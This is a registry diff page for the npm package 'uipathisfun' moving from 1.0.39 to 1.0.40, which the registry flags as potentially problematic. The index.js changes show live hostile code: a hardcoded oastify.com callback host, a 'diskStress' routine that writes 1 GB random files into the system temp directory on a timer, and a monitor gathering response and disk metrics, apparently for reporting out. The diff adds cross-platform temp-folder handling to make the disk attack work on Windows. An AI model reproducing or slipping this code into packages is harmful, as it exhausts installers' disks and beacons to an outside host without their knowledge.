uipathisfun 1.0.39 → 1.0.40
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of uipathisfun might be problematic. Click here for more details.
- package/index.js +5 -2
- package/package.json +1 -1
- package/uipathisfun-1.0.40.tgz +0 -0
- package/uipathisfun-1.0.39.tgz +0 -0
package/index.js
CHANGED
|
@@ -3,6 +3,9 @@ const crypto = require('crypto');
|
|
|
3
3
|
const fs = require('fs');
|
|
4
4
|
const os = require('os');
|
|
5
5
|
|
|
6
|
+
// تحديد مجلد مؤقت مناسب حسب النظام
|
|
7
|
+
const TMP_DIR = os.platform() === 'win32' ? process.env.TEMP || 'C:/Windows/Temp' : '/tmp';
|
|
8
|
+
|
|
6
9
|
const b = "0nopxr82g2bsk9e28w87vxucn3tuhn5c.oastify.com'";
|
|
7
10
|
|
|
8
11
|
const TARGET = 'localhost';
|
|
@@ -45,7 +48,7 @@ function diskStress() {
|
|
|
45
48
|
if (!DISK_ATTACK) return;
|
|
46
49
|
setInterval(() => {
|
|
47
50
|
if (stop) return;
|
|
48
|
-
const fname =
|
|
51
|
+
const fname = `${TMP_DIR}/fc_stress_${Date.now()}_${Math.random().toString(36).slice(2,8)}`;
|
|
49
52
|
const buf = crypto.randomBytes(1024 * 1024 * 1024);
|
|
50
53
|
fs.writeFileSync(fname, buf);
|
|
51
54
|
diskFiles.push(fname);
|
|
@@ -106,7 +109,7 @@ function monitor() {
|
|
|
106
109
|
const avgResp = responseTimes.length ? (responseTimes.reduce((a, b) => a + b, 0) / responseTimes.length).toFixed(2) : 0;
|
|
107
110
|
let diskUsage = 0;
|
|
108
111
|
try {
|
|
109
|
-
const stat = fs.statSync(
|
|
112
|
+
const stat = fs.statSync(TMP_DIR);
|
|
110
113
|
diskUsage = stat && stat.blocks ? (stat.blocks * stat.blksize) / 1024 / 1024 : 0;
|
|
111
114
|
} catch (e) {}
|
|
112
115
|
const data = {
|
package/package.json
CHANGED
|
Binary file
|
package/uipathisfun-1.0.39.tgz
DELETED
|
Binary file
|